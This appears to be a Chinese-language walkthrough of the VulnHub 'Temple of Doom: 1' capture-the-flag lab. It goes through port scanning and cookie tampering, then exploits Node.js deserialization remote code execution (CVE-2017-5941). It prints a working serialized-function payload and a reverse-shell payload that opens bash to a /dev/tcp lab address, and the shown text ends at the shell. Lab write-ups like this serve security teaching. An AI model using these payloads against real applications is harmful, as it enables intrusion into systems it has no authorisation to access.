VulnHub-Temple of Doom: 1-靶机渗透学习

访客4年前黑客资讯549

靶机地址:https://www.vulnhub.com/entry/temple-of-doom-1,243/

靶机难度:中级(CTF)

靶机发布日期:2018年6月8日

靶机描述:

由https://twitter.com/0katz创建的CTF

]难度:简单/中级

在VirtualBox中测试

注意:2种扎根 ***

目标:得到root权限&找到flag.txt

作者:DXR嗯嗯呐


信息收集

nmap扫描IP

1610299152_5ffb3710ea1916d9206ad.png!small?1610299153641

nmap端口扫描

1610299164_5ffb371c1be7605881965.png!small?1610299164078

22 ssh

666 Express 是一个保持最小规模的灵活的 Node.js Web 应用程序开发框架,为 Web 和移动应用程序提供一组强大的功能。

访问80端口

1610299169_5ffb3721e3c54b19c8c53.png!small?1610299169857

没有获得有用的信息,使用dirb,nikto扫描,结果也没发现什么

1610299179_5ffb372b426bff4215b45.png!small?1610299179247

1610299185_5ffb3731df18578bc148c.png!small?1610299186543

Node.js远程命令执行漏洞

不知道怎么办了,使用burpsuite抓一下包看看吧

1610299193_5ffb37398bb17a0b551f9.png!small?1610299193598


看到了cookie的值可能是一个base64编码

1610299218_5ffb375243c13e0b89ecd.png!small?1610299218484

界面获得一个json字符串感觉格式不完整,修改一下

解码后

{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMTIn0%3D

修改后

重新编码提交,获得一个界面

1610299227_5ffb375b60014fcf4478b.png!small?1610299227329

加上cookie使用dirb扫描依然失败,看了看老人们的,发现这里是考Node.js反序列化远程代码执行(CVE-2017-5941)这个漏洞

大佬写的很具体

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(error,stdout,stderr)=>{console.log(stdout)}); }()"}


  • child_process是node.js中的一个模块,它以类似于popen(3)的方式生成子进程。
  • child_process.exec 使用子进程exec执行命令,缓存子进程的输出,并将子进程的输出以回调函数参数的形式返回。

编译后

eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ3dob2FtaScsKGU *** 3V0LGVycik9Pntjb25zb2xlLmxvZyhvdXQpO30pOyB9KCkifQo=

1610299408_5ffb381015e5cea28130d.png!small?1610299408371

获得用户名 nodeadmin

直接使用bash获得反弹shell

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('bash -i >& /dev/tcp/192.168.56.3/5555 0>&1',(error,stdout,stderr)=>{console.log(stdout)}); }()"}

1610299347_5ffb37d344dfda017d769.png!small?1610299348427

相关文章

有黑客接单吗,找黑客手机号码_定位,网赌可以找黑客帮忙吗

图9 SPI指令解析脚本链接:http://www.mottoin.com/wp-content/d/file/uploads/tools/burpsuite_pro_v1.7.12.7z带有toke...

黑客帝国简介英文(黑客帝国简介英文版)

黑客帝国简介英文(黑客帝国简介英文版)

黑客帝国123部的英文名分别是什么 1、《黑客帝国2:重装上阵》(英语:The Matrix Reloaded)《黑客帝国2:重装上阵》是一部在西元2003年上映的电影。由沃卓斯基姐妹导演,基努·里维...

360手机定位找人是不是真的(360手机定位找人精

根据美国特勤局在最近公布的Verizon数据泄漏调查报告中提供的数据显示,内部人员攻击事故的数量在过去一年又翻了一番,但是外部攻击仍然是主要攻击来源,这说明企业仍然没有保护好网络和数据的安全。  主动...

从RCE到LDAP信息走漏

几个月前,我自愿对一家法国公司进行了安全审计。该公司有一个企业站,你能够在其间找到新闻,联络页面或下载文档。这是一个十分典型的网站,当加载某些内容,将会发送AJAX恳求,该恳求由2个参数组成。 并答应...

dota怎么下载不了了(dota下载后怎么安装)

  《刀塔霸业》今日公布公布公测,期待中的IOS、安卓手机系统手游也按时公布,不得已令人感叹V社也是有今日那麼勤奋的具体表现?无法想象!   刀塔霸业的官方网站网址:   安卓手机系统顾客可以立即登录...

以“京东大促主会场”为例,如何做到曝光诉求和浏览效率之间的平衡?

以“京东大促主会场”为例,如何做到曝光诉求和浏览效率之间的平衡?

但业务方提出信息内容强曝光的需求时,设计师需要从多个角度去评估需求的合理性,并通过设计方案的规划与校验,进而平衡好曝光诉求与浏览效率。 一、前言 页面的浏览效率,会和页面所呈现的内容数量,成对立关系...